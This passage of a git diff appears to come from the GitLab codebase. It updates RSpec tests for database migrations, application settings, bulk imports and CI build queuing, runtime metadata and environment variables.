RSpec.describe ScheduleUpdateExistingUsersThatRequireTwoFactorAuth do
let(:users) { table(:users) }
diff --git a/spec/migrations/schedule_update_timelogs_project_id_spec.rb b/spec/migrations/schedule_update_timelogs_project_id_spec.rb
index e2972d2fd08..b9130fd86be 100644
--- a/spec/migrations/schedule_update_timelogs_project_id_spec.rb
+++ b/spec/migrations/schedule_update_timelogs_project_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210427212034_schedule_update_timelogs_project_id.rb')
+require_migration!
RSpec.describe ScheduleUpdateTimelogsProjectId do
let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
diff --git a/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb b/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb
index cec141cacc9..2fe739659f0 100644
--- a/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb
+++ b/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb')
+require_migration!
RSpec.describe ScheduleUpdateUsersWhereTwoFactorAuthRequiredFromGroup do
let(:users) { table(:users) }
diff --git a/spec/migrations/seed_merge_trains_enabled_spec.rb b/spec/migrations/seed_merge_trains_enabled_spec.rb
index 2abb064a111..1cb0e3cf8a6 100644
--- a/spec/migrations/seed_merge_trains_enabled_spec.rb
+++ b/spec/migrations/seed_merge_trains_enabled_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201026200736_seed_merge_trains_enabled.rb')
+require_migration!
RSpec.describe SeedMergeTrainsEnabled do
describe 'migrate' do
diff --git a/spec/migrations/seed_repository_storages_weighted_spec.rb b/spec/migrations/seed_repository_storages_weighted_spec.rb
index d2fb1f7a014..102107bcc9f 100644
--- a/spec/migrations/seed_repository_storages_weighted_spec.rb
+++ b/spec/migrations/seed_repository_storages_weighted_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200526000407_seed_repository_storages_weighted.rb')
+require_migration!
RSpec.describe SeedRepositoryStoragesWeighted do
let(:storages) { { "foo" => {}, "baz" => {} } }
diff --git a/spec/migrations/services_remove_temporary_index_on_project_id_spec.rb b/spec/migrations/services_remove_temporary_index_on_project_id_spec.rb
index 6cab4c16cfb..d47f6deb2d5 100644
--- a/spec/migrations/services_remove_temporary_index_on_project_id_spec.rb
+++ b/spec/migrations/services_remove_temporary_index_on_project_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200203104214_services_remove_temporary_index_on_project_id.rb')
+require_migration!
RSpec.describe ServicesRemoveTemporaryIndexOnProjectId do
let(:migration_instance) { described_class.new }
diff --git a/spec/migrations/set_issue_id_for_all_versions_spec.rb b/spec/migrations/set_issue_id_for_all_versions_spec.rb
index 0908d054e70..78bc4bbce1c 100644
--- a/spec/migrations/set_issue_id_for_all_versions_spec.rb
+++ b/spec/migrations/set_issue_id_for_all_versions_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190715043954_set_issue_id_for_all_versions.rb')
+require_migration!
RSpec.describe SetIssueIdForAllVersions do
let(:projects) { table(:projects) }
diff --git a/spec/migrations/set_job_waiter_ttl_spec.rb b/spec/migrations/set_job_waiter_ttl_spec.rb
index b9cf7c55798..a051f8a535c 100644
--- a/spec/migrations/set_job_waiter_ttl_spec.rb
+++ b/spec/migrations/set_job_waiter_ttl_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200930144340_set_job_waiter_ttl.rb')
+require_migration!
RSpec.describe SetJobWaiterTtl, :redis do
it 'sets TTLs where necessary' do
diff --git a/spec/migrations/sync_issuables_state_id_spec.rb b/spec/migrations/sync_issuables_state_id_spec.rb
index dcddbca6a36..67403893f74 100644
--- a/spec/migrations/sync_issuables_state_id_spec.rb
+++ b/spec/migrations/sync_issuables_state_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190911251732_sync_issuables_state_id')
+require_migration!
RSpec.describe SyncIssuablesStateId do
let(:migration) { described_class.new }
diff --git a/spec/migrations/truncate_user_fullname_spec.rb b/spec/migrations/truncate_user_fullname_spec.rb
index cb95c222790..dc5bef06cdc 100644
--- a/spec/migrations/truncate_user_fullname_spec.rb
+++ b/spec/migrations/truncate_user_fullname_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190325080727_truncate_user_fullname.rb')
+require_migration!
RSpec.describe TruncateUserFullname do
let(:users) { table(:users) }
diff --git a/spec/migrations/unconfirm_wrongfully_verified_emails_spec.rb b/spec/migrations/unconfirm_wrongfully_verified_emails_spec.rb
index cae2f331f6f..5adc866d0a5 100644
--- a/spec/migrations/unconfirm_wrongfully_verified_emails_spec.rb
+++ b/spec/migrations/unconfirm_wrongfully_verified_emails_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200615111857_unconfirm_wrongfully_verified_emails.rb')
+require_migration!
RSpec.describe UnconfirmWrongfullyVerifiedEmails do
before do
diff --git a/spec/migrations/update_application_setting_npm_package_requests_forwarding_default_spec.rb b/spec/migrations/update_application_setting_npm_package_requests_forwarding_default_spec.rb
index 8b241d1b28e..be209536208 100644
--- a/spec/migrations/update_application_setting_npm_package_requests_forwarding_default_spec.rb
+++ b/spec/migrations/update_application_setting_npm_package_requests_forwarding_default_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200221105436_update_application_setting_npm_package_requests_forwarding_default.rb')
+require_migration!
RSpec.describe UpdateApplicationSettingNpmPackageRequestsForwardingDefault do
# Create test data - pipeline and CI/CD jobs.
diff --git a/spec/migrations/update_fingerprint_sha256_within_keys_spec.rb b/spec/migrations/update_fingerprint_sha256_within_keys_spec.rb
index 7f5ae892391..22ec3135703 100644
--- a/spec/migrations/update_fingerprint_sha256_within_keys_spec.rb
+++ b/spec/migrations/update_fingerprint_sha256_within_keys_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200106071113_update_fingerprint_sha256_within_keys.rb')
+require_migration!
RSpec.describe UpdateFingerprintSha256WithinKeys do
let(:key_table) { table(:keys) }
diff --git a/spec/migrations/update_historical_data_recorded_at_spec.rb b/spec/migrations/update_historical_data_recorded_at_spec.rb
index bccc711f339..95d2bb989fd 100644
--- a/spec/migrations/update_historical_data_recorded_at_spec.rb
+++ b/spec/migrations/update_historical_data_recorded_at_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201022094846_update_historical_data_recorded_at.rb')
+require_migration!
RSpec.describe UpdateHistoricalDataRecordedAt do
let(:historical_data_table) { table(:historical_data) }
diff --git a/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb b/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb
index 71dd3a53bcd..d7d1781aaa2 100644
--- a/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb
+++ b/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201208081429_update_internal_ids_last_value_for_epics_renamed.rb')
+require_migration!
RSpec.describe UpdateInternalIdsLastValueForEpicsRenamed, :migration, schema: 20201124185639 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/update_minimum_password_length_spec.rb b/spec/migrations/update_minimum_password_length_spec.rb
index a4485dfbcea..02254ba1343 100644
--- a/spec/migrations/update_minimum_password_length_spec.rb
+++ b/spec/migrations/update_minimum_password_length_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191205084057_update_minimum_password_length')
+require_migration!
RSpec.describe UpdateMinimumPasswordLength do
let(:application_settings) { table(:application_settings) }
diff --git a/spec/migrations/update_routes_for_lost_and_found_group_and_orphaned_projects_spec.rb b/spec/migrations/update_routes_for_lost_and_found_group_and_orphaned_projects_spec.rb
index ffab5c40182..74e97b82363 100644
--- a/spec/migrations/update_routes_for_lost_and_found_group_and_orphaned_projects_spec.rb
+++ b/spec/migrations/update_routes_for_lost_and_found_group_and_orphaned_projects_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200602143020_update_routes_for_lost_and_found_group_and_orphaned_projects.rb')
+require_migration!
RSpec.describe UpdateRoutesForLostAndFoundGroupAndOrphanedProjects, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/update_timestamp_softwarelicensespolicy_spec.rb b/spec/migrations/update_timestamp_softwarelicensespolicy_spec.rb
index f55d55f94c7..0210f23f5c5 100644
--- a/spec/migrations/update_timestamp_softwarelicensespolicy_spec.rb
+++ b/spec/migrations/update_timestamp_softwarelicensespolicy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200116175538_update_timestamp_softwarelicensespolicy.rb')
+require_migration!
RSpec.describe UpdateTimestampSoftwarelicensespolicy do
let(:software_licenses_policy) { table(:software_license_policies) }
diff --git a/spec/models/application_record_spec.rb b/spec/models/application_record_spec.rb
index 24de46cb536..85a6717d259 100644
--- a/spec/models/application_record_spec.rb
+++ b/spec/models/application_record_spec.rb
@@ -132,5 +132,47 @@ RSpec.describe ApplicationRecord do
end.to raise_error(ActiveRecord::QueryCanceled)
end
end
+
+ context 'with database load balancing' do
+ let(:session) { double(:session) }
+
+ before do
+ allow(::Gitlab::Database::LoadBalancing::Session).to receive(:current).and_return(session)
+ allow(session).to receive(:fallback_to_replicas_for_ambiguous_queries).and_yield
+ end
+
+ it 'yields control' do
+ expect do |blk|
+ described_class.with_fast_read_statement_timeout(&blk)
+ end.to yield_control.once
+ end
+
+ context 'when the query runs faster than configured timeout' do
+ it 'executes the query without error' do
+ result = nil
+
+ expect do
+ described_class.with_fast_read_statement_timeout(100) do
+ result = described_class.connection.exec_query('SELECT 1')
+ end
+ end.not_to raise_error
+
+ expect(result).not_to be_nil
+ end
+ end
+
+ # This query hangs for 10ms and then gets cancelled. As there is no
+ # other way to test the timeout for sure, 10ms of waiting seems to be
+ # reasonable!
+ context 'when the query runs longer than configured timeout' do
+ it 'cancels the query and raiss an exception' do
+ expect do
+ described_class.with_fast_read_statement_timeout(10) do
+ described_class.connection.exec_query('SELECT pg_sleep(0.1)')
+ end
+ end.to raise_error(ActiveRecord::QueryCanceled)
+ end
+ end
+ end
end
end
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index c13d83d1685..4e72d558b52 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -990,6 +990,34 @@ RSpec.describe ApplicationSetting do
end
end
end
+
+ describe '#diff_max_files' do
+ context 'validations' do
+ it { is_expected.to validate_presence_of(:diff_max_files) }
+
+ specify do
+ is_expected
+ .to validate_numericality_of(:diff_max_files)
+ .only_integer
+ .is_greater_than_or_equal_to(Commit::DEFAULT_MAX_DIFF_FILES_SETTING)
+ .is_less_than_or_equal_to(Commit::MAX_DIFF_FILES_SETTING_UPPER_BOUND)
+ end
+ end
+ end
+
+ describe '#diff_max_lines' do
+ context 'validations' do
+ it { is_expected.to validate_presence_of(:diff_max_lines) }
+
+ specify do
+ is_expected
+ .to validate_numericality_of(:diff_max_lines)
+ .only_integer
+ .is_greater_than_or_equal_to(Commit::DEFAULT_MAX_DIFF_LINES_SETTING)
+ .is_less_than_or_equal_to(Commit::MAX_DIFF_LINES_SETTING_UPPER_BOUND)
+ end
+ end
+ end
end
describe '#sourcegraph_url_is_com?' do
diff --git a/spec/models/bulk_imports/export_status_spec.rb b/spec/models/bulk_imports/export_status_spec.rb
new file mode 100644
index 00000000000..48f32a2092a
--- /dev/null
+++ b/spec/models/bulk_imports/export_status_spec.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::ExportStatus do
+ let_it_be(:relation) { 'labels' }
+ let_it_be(:import) { create(:bulk_import) }
+ let_it_be(:config) { create(:bulk_import_configuration, bulk_import: import) }
+ let_it_be(:entity) { create(:bulk_import_entity, bulk_import: import, source_full_path: 'foo') }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+
+ let(:response_double) do
+ double(parsed_response: [{ 'relation' => 'labels', 'status' => status, 'error' => 'error!' }])
+ end
+
+ subject { described_class.new(tracker, relation) }
+
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client).to receive(:get).and_return(response_double)
+ end
+ end
+
+ describe '#started?' do
+ context 'when export status is started' do
+ let(:status) { BulkImports::Export::STARTED }
+
+ it 'returns true' do
+ expect(subject.started?).to eq(true)
+ end
+ end
+
+ context 'when export status is not started' do
+ let(:status) { BulkImports::Export::FAILED }
+
+ it 'returns false' do
+ expect(subject.started?).to eq(false)
+ end
+ end
+ end
+
+ describe '#failed' do
+ context 'when export status is failed' do
+ let(:status) { BulkImports::Export::FAILED }
+
+ it 'returns true' do
+ expect(subject.failed?).to eq(true)
+ end
+ end
+
+ context 'when export status is not failed' do
+ let(:status) { BulkImports::Export::STARTED }
+
+ it 'returns false' do
+ expect(subject.failed?).to eq(false)
+ end
+ end
+ end
+
+ describe '#error' do
+ let(:status) { BulkImports::Export::FAILED }
+
+ it 'returns error message' do
+ expect(subject.error).to eq('error!')
+ end
+
+ context 'when something goes wrong during export status fetch' do
+ it 'returns exception class as error' do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client).to receive(:get).and_raise(StandardError, 'Error!')
+ end
+
+ expect(subject.error).to eq('Error!')
+ end
+ end
+ end
+end
diff --git a/spec/models/bulk_imports/export_upload_spec.rb b/spec/models/bulk_imports/export_upload_spec.rb
index 641fa4a1b6c..d9ae41af0db 100644
--- a/spec/models/bulk_imports/export_upload_spec.rb
+++ b/spec/models/bulk_imports/export_upload_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe BulkImports::ExportUpload do
method = 'export_file'
filename = 'labels.ndjson.gz'
- subject.public_send("#{method}=", fixture_file_upload("spec/fixtures/bulk_imports/#{filename}"))
+ subject.public_send("#{method}=", fixture_file_upload("spec/fixtures/bulk_imports/gz/#{filename}"))
subject.save!
url = "/uploads/-/system/bulk_imports/export_upload/export_file/#{subject.id}/#{filename}"
diff --git a/spec/models/bulk_imports/file_transfer/group_config_spec.rb b/spec/models/bulk_imports/file_transfer/group_config_spec.rb
index 21da71de3c7..4611a00b0cc 100644
--- a/spec/models/bulk_imports/file_transfer/group_config_spec.rb
+++ b/spec/models/bulk_imports/file_transfer/group_config_spec.rb
@@ -12,8 +12,8 @@ RSpec.describe BulkImports::FileTransfer::GroupConfig do
subject { described_class.new(exportable) }
- describe '#exportable_tree' do
- it 'returns exportable tree' do
+ describe '#portable_tree' do
+ it 'returns portable tree' do
expect_next_instance_of(::Gitlab::ImportExport::AttributesFinder) do |finder|
expect(finder).to receive(:find_root).with(:group).and_call_original
end
@@ -30,9 +30,21 @@ RSpec.describe BulkImports::FileTransfer::GroupConfig do
end
end
- describe '#exportable_relations' do
+ describe '#portable_relations' do
it 'returns a list of top level exportable relations' do
expect(subject.portable_relations).to include('milestones', 'badges', 'boards', 'labels')
end
end
+
+ describe '#top_relation_tree' do
+ it 'returns relation tree of a top level relation' do
+ expect(subject.top_relation_tree('labels')).to eq('priorities' => {})
+ end
+ end
+
+ describe '#relation_excluded_keys' do
+ it 'returns excluded keys for relation' do
+ expect(subject.relation_excluded_keys('group')).to include('owner_id')
+ end
+ end
end
diff --git a/spec/models/bulk_imports/file_transfer/project_config_spec.rb b/spec/models/bulk_imports/file_transfer/project_config_spec.rb
index 021f96ac2a3..2995556a58d 100644
--- a/spec/models/bulk_imports/file_transfer/project_config_spec.rb
+++ b/spec/models/bulk_imports/file_transfer/project_config_spec.rb
@@ -12,8 +12,8 @@ RSpec.describe BulkImports::FileTransfer::ProjectConfig do
subject { described_class.new(exportable) }
- describe '#exportable_tree' do
- it 'returns exportable tree' do
+ describe 'portable_tree' do
+ it 'returns portable tree' do
expect_next_instance_of(::Gitlab::ImportExport::AttributesFinder) do |finder|
expect(finder).to receive(:find_root).with(:project).and_call_original
end
@@ -30,9 +30,21 @@ RSpec.describe BulkImports::FileTransfer::ProjectConfig do
end
end
- describe '#exportable_relations' do
+ describe '#portable_relations' do
it 'returns a list of top level exportable relations' do
expect(subject.portable_relations).to include('issues', 'labels', 'milestones', 'merge_requests')
end
end
+
+ describe '#top_relation_tree' do
+ it 'returns relation tree of a top level relation' do
+ expect(subject.top_relation_tree('labels')).to eq('priorities' => {})
+ end
+ end
+
+ describe '#relation_excluded_keys' do
+ it 'returns excluded keys for relation' do
+ expect(subject.relation_excluded_keys('project')).to include('creator_id')
+ end
+ end
end
diff --git a/spec/models/ci/build_dependencies_spec.rb b/spec/models/ci/build_dependencies_spec.rb
index d00d88ae397..331ba9953ca 100644
--- a/spec/models/ci/build_dependencies_spec.rb
+++ b/spec/models/ci/build_dependencies_spec.rb
@@ -187,15 +187,6 @@ RSpec.describe Ci::BuildDependencies do
it { expect(cross_pipeline_deps).to contain_exactly(upstream_job) }
it { is_expected.to be_valid }
end
-
- context 'when feature flag `ci_cross_pipeline_artifacts_download` is disabled' do
- before do
- stub_feature_flags(ci_cross_pipeline_artifacts_download: false)
- end
-
- it { expect(cross_pipeline_deps).to be_empty }
- it { is_expected.to be_valid }
- end
end
context 'when same job names exist in other pipelines in the hierarchy' do
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index 66d2f5f4ee9..62dec522161 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -111,10 +111,6 @@ RSpec.describe Ci::Build do
describe '.with_downloadable_artifacts' do
subject { described_class.with_downloadable_artifacts }
- before do
- stub_feature_flags(drop_license_management_artifact: false)
- end
-
context 'when job does not have a downloadable artifact' do
let!(:job) { create(:ci_build) }
@@ -320,11 +316,23 @@ RSpec.describe Ci::Build do
end
end
+ describe '#stick_build_if_status_changed' do
+ it 'sticks the build if the status changed' do
+ job = create(:ci_build, :pending)
+
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:stick)
+ .with(:build, job.id)
+
+ job.update!(status: :running)
+ end
+ end
+
describe '#enqueue' do
let(:build) { create(:ci_build, :created) }
- subject { build.enqueue }
-
before do
allow(build).to receive(:any_unmet_prerequisites?).and_return(has_prerequisites)
allow(Ci::PrepareBuildService).to receive(:perform_async)
@@ -334,28 +342,74 @@ RSpec.describe Ci::Build do
let(:has_prerequisites) { true }
it 'transitions to preparing' do
- subject
+ build.enqueue
expect(build).to be_preparing
end
+
+ it 'does not push build to the queue' do
+ build.enqueue
+
+ expect(build.queuing_entry).not_to be_present
+ end
end
context 'build has no prerequisites' do
let(:has_prerequisites) { false }
it 'transitions to pending' do
- subject
+ build.enqueue
expect(build).to be_pending
end
+
+ it 'pushes build to a queue' do
+ build.enqueue
+
+ expect(build.queuing_entry).to be_present
+ end
+
+ context 'when build status transition fails' do
+ before do
+ ::Ci::Build.find(build.id).update_column(:lock_version, 100)
+ end
+
+ it 'does not push build to a queue' do
+ expect { build.enqueue! }
+ .to raise_error(ActiveRecord::StaleObjectError)
+
+ expect(build.queuing_entry).not_to be_present
+ end
+ end
+
+ context 'when there is a queuing entry already present' do
+ before do
+ ::Ci::PendingBuild.create!(build: build, project: build.project)
+ end
+
+ it 'does not raise an error' do
+ expect { build.enqueue! }.not_to raise_error
+ expect(build.reload.queuing_entry).to be_present
+ end
+ end
+
+ context 'when both failure scenario happen at the same time' do
+ before do
+ ::Ci::Build.find(build.id).update_column(:lock_version, 100)
+ ::Ci::PendingBuild.create!(build: build, project: build.project)
+ end
+
+ it 'raises stale object error exception' do
+ expect { build.enqueue! }
+ .to raise_error(ActiveRecord::StaleObjectError)
+ end
+ end
end
end
describe '#enqueue_preparing' do
let(:build) { create(:ci_build, :preparing) }
- subject { build.enqueue_preparing }
-
before do
allow(build).to receive(:any_unmet_prerequisites?).and_return(has_unmet_prerequisites)
end
@@ -364,9 +418,10 @@ RSpec.describe Ci::Build do
let(:has_unmet_prerequisites) { false }
it 'transitions to pending' do
- subject
+ build.enqueue_preparing
expect(build).to be_pending
+ expect(build.queuing_entry).to be_present
end
end
@@ -374,9 +429,10 @@ RSpec.describe Ci::Build do
let(:has_unmet_prerequisites) { true }
it 'remains in preparing' do
- subject
+ build.enqueue_preparing
expect(build).to be_preparing
+ expect(build.queuing_entry).not_to be_present
end
end
end
@@ -405,6 +461,64 @@ RSpec.describe Ci::Build do
end
end
+ describe '#run' do
+ context 'when build has been just created' do
+ let(:build) { create(:ci_build, :created) }
+
+ it 'creates queuing entry and then removes it' do
+ build.enqueue!
+ expect(build.queuing_entry).to be_present
+
+ build.run!
+ expect(build.reload.queuing_entry).not_to be_present
+ end
+ end
+
+ context 'when build status transition fails' do
+ let(:build) { create(:ci_build, :pending) }
+
+ before do
+ ::Ci::PendingBuild.create!(build: build, project: build.project)
+ ::Ci::Build.find(build.id).update_column(:lock_version, 100)
+ end
+
+ it 'does not remove build from a queue' do
+ expect { build.run! }
+ .to raise_error(ActiveRecord::StaleObjectError)
+
+ expect(build.queuing_entry).to be_present
+ end
+ end
+
+ context 'when build has been picked by a shared runner' do
+ let(:build) { create(:ci_build, :pending) }
+
+ it 'creates runtime metadata entry' do
+ build.runner = create(:ci_runner, :instance_type)
+
+ build.run!
+
+ expect(build.reload.runtime_metadata).to be_present
+ end
+ end
+ end
+
+ describe '#drop' do
+ context 'when has a runtime tracking entry' do
+ let(:build) { create(:ci_build, :pending) }
+
+ it 'removes runtime tracking entry' do
+ build.runner = create(:ci_runner, :instance_type)
+
+ build.run!
+ expect(build.reload.runtime_metadata).to be_present
+
+ build.drop!
+ expect(build.reload.runtime_metadata).not_to be_present
+ end
+ end
+ end
+
describe '#schedulable?' do
subject { build.schedulable? }
@@ -586,28 +700,10 @@ RSpec.describe Ci::Build do
end
end
- context 'with runners_cached_states feature flag enabled' do
- before do
- stub_feature_flags(runners_cached_states: true)
- end
-
- it 'caches the result in Redis' do
- expect(Rails.cache).to receive(:fetch).with(['has-online-runners', build.id], expires_in: 1.minute)
-
- build.any_runners_online?
- end
- end
-
- context 'with runners_cached_states feature flag disabled' do
- before do
- stub_feature_flags(runners_cached_states: false)
- end
-
- it 'does not cache' do
- expect(Rails.cache).not_to receive(:fetch).with(['has-online-runners', build.id], expires_in: 1.minute)
+ it 'caches the result in Redis' do
+ expect(Rails.cache).to receive(:fetch).with(['has-online-runners', build.id], expires_in: 1.minute)
- build.any_runners_online?
- end
+ build.any_runners_online?
end
end
@@ -624,28 +720,10 @@ RSpec.describe Ci::Build do
it { is_expected.to be_truthy }
end
- context 'with runners_cached_states feature flag enabled' do
- before do
- stub_feature_flags(runners_cached_states: true)
- end
-
- it 'caches the result in Redis' do
- expect(Rails.cache).to receive(:fetch).with(['has-available-runners', build.project.id], expires_in: 1.minute)
-
- build.any_runners_available?
- end
- end
-
- context 'with runners_cached_states feature flag disabled' do
- before do
- stub_feature_flags(runners_cached_states: false)
- end
-
- it 'does not cache' do
- expect(Rails.cache).not_to receive(:fetch).with(['has-available-runners', build.project.id], expires_in: 1.minute)
+ it 'caches the result in Redis' do
+ expect(Rails.cache).to receive(:fetch).with(['has-available-runners', build.project.id], expires_in: 1.minute)
- build.any_runners_available?
- end
+ build.any_runners_available?
end
end
@@ -1650,8 +1728,6 @@ RSpec.describe Ci::Build do
subject { build.erase_erasable_artifacts! }
before do
- stub_feature_flags(drop_license_management_artifact: false)
-
Ci::JobArtifact.file_types.keys.each do |file_type|
create(:ci_job_artifact, job: build, file_type: file_type, file_format: Ci::JobArtifact::TYPE_AND_FORMAT_PAIRS[file_type.to_sym])
end
@@ -1840,6 +1916,26 @@ RSpec.describe Ci::Build do
it { is_expected.not_to be_retryable }
end
+
+ context 'when a canceled build has been retried already' do
+ before do
+ project.add_developer(user)
+ build.cancel!
+ described_class.retry(build, user)
+ end
+
+ context 'when prevent_retry_of_retried_jobs feature flag is enabled' do
+ it { is_expected.not_to be_retryable }
+ end
+
+ context 'when prevent_retry_of_retried_jobs feature flag is disabled' do
+ before do
+ stub_feature_flags(prevent_retry_of_retried_jobs: false)
+ end
+
+ it { is_expected.to be_retryable }
+ end
+ end
end
end
@@ -2525,7 +2621,6 @@ RSpec.describe Ci::Build do
{ key: 'CI_PROJECT_VISIBILITY', value: 'private', public: true, masked: false },
{ key: 'CI_PROJECT_REPOSITORY_LANGUAGES', value: project.repository_languages.map(&:name).join(',').downcase, public: true, masked: false },
{ key: 'CI_DEFAULT_BRANCH', value: project.default_branch, public: true, masked: false },
- { key: 'CI_PROJECT_CONFIG_PATH', value: project.ci_config_path_or_default, public: true, masked: false },
{ key: 'CI_CONFIG_PATH', value: project.ci_config_path_or_default, public: true, masked: false },
{ key: 'CI_PAGES_DOMAIN', value: Gitlab.config.pages.host, public: true, masked: false },
{ key: 'CI_PAGES_URL', value: project.pages_url, public: true, masked: false },
@@ -2566,6 +2661,17 @@ RSpec.describe Ci::Build do
it { is_expected.to be_instance_of(Gitlab::Ci::Variables::Collection) }
it { expect(subject.to_runner_variables).to eq(predefined_variables) }
+ it 'excludes variables that require an environment or user' do
+ environment_based_variables_collection = subject.filter do |variable|
+ %w[
+ YAML_VARIABLE CI_ENVIRONMENT_NAME CI_ENVIRONMENT_SLUG
+ CI_ENVIRONMENT_ACTION CI_ENVIRONMENT_URL
+ ].include?(variable[:key])
+ end
+
+ expect(environment_based_variables_collection).to be_empty
+ end
+
context 'when ci_job_jwt feature flag is disabled' do
before do
stub_feature_flags(ci_job_jwt: false)
@@ -2635,7 +2741,7 @@ RSpec.describe Ci::Build do
let(:expected_variables) do
predefined_variables.map { |variable| variable.fetch(:key) } +
%w[YAML_VARIABLE CI_ENVIRONMENT_NAME CI_ENVIRONMENT_SLUG
- CI_ENVIRONMENT_URL]
+ CI_ENVIRONMENT_TIER CI_ENVIRONMENT_ACTION CI_ENVIRONMENT_URL]
end
before do
@@ -2653,6 +2759,50 @@ RSpec.describe Ci::Build do
expect(received_variables).to eq expected_variables
end
+
+ describe 'CI_ENVIRONMENT_ACTION' do
+ let(:enviroment_action_variable) { subject.find { |variable| variable[:key] == 'CI_ENVIRONMENT_ACTION' } }
+
+ shared_examples 'defaults value' do
+ it 'value matches start' do
+ expect(enviroment_action_variable[:value]).to eq('start')
+ end
+ end
+
+ it_behaves_like 'defaults value'
+
+ context 'when options is set' do
+ before do
+ build.update!(options: options)
+ end
+
+ context 'when options is empty' do
+ let(:options) { {} }
+
+ it_behaves_like 'defaults value'
+ end
+
+ context 'when options is nil' do
+ let(:options) { nil }
+
+ it_behaves_like 'defaults value'
+ end
+
+ context 'when options environment is specified' do
+ let(:options) { { environment: {} } }
+
+ it_behaves_like 'defaults value'
+ end
+
+ context 'when options environment action specified' do
+ let(:options) { { environment: { action: 'stop' } } }
+
+ it 'matches the specified action' do
+ expect(enviroment_action_variable[:value]).to eq('stop')
+ end
+ end
+ end
+ end
end
end
end
@@ -2691,7 +2841,8 @@ RSpec.describe Ci::Build do
let(:environment_variables) do
[
{ key: 'CI_ENVIRONMENT_NAME', value: 'production', public: true, masked: false },
- { key: 'CI_ENVIRONMENT_SLUG', value: 'prod-slug', public: true, masked: false }
+ { key: 'CI_ENVIRONMENT_SLUG', value: 'prod-slug', public: true, masked: false },
+ { key: 'CI_ENVIRONMENT_TIER', value: 'production', public: true, masked: false }
]
end
@@ -2700,6 +2851,7 @@ RSpec.describe Ci::Build do
project: build.project,
name: 'production',
slug: 'prod-slug',
+ tier: 'production',
external_url: '')
end
@@ -4693,7 +4845,7 @@ RSpec.describe Ci::Build do
context 'with project services' do
before do
- create(:service, active: true, job_events: true, project: project)
+ create(:integration, active: true, job_events: true, project: project)
end
it 'executes services' do
@@ -4707,7 +4859,7 @@ RSpec.describe Ci::Build do
context 'without relevant project services' do
before do
- create(:service, active: true, job_events: false, project: project)
+ create(:integration, active: true, job_events: false, project: project)
end
it 'does not execute services' do
@@ -4987,4 +5139,113 @@ RSpec.describe Ci::Build do
it { is_expected.to be_truthy }
end
end
+
+ describe '.build_matchers' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :protected) }
+
+ subject(:matchers) { pipeline.builds.build_matchers(pipeline.project) }
+
+ context 'when the pipeline is empty' do
+ it 'does not throw errors' do
+ is_expected.to eq([])
+ end
+ end
+
+ context 'when the pipeline has builds' do
+ let_it_be(:build_without_tags) do
+ create(:ci_build, pipeline: pipeline)
+ end
+
+ let_it_be(:build_with_tags) do
+ create(:ci_build, pipeline: pipeline, tag_list: %w[tag1 tag2])
+ end
+
+ let_it_be(:other_build_with_tags) do
+ create(:ci_build, pipeline: pipeline, tag_list: %w[tag2 tag1])
+ end
+
+ it { expect(matchers.size).to eq(2) }
+
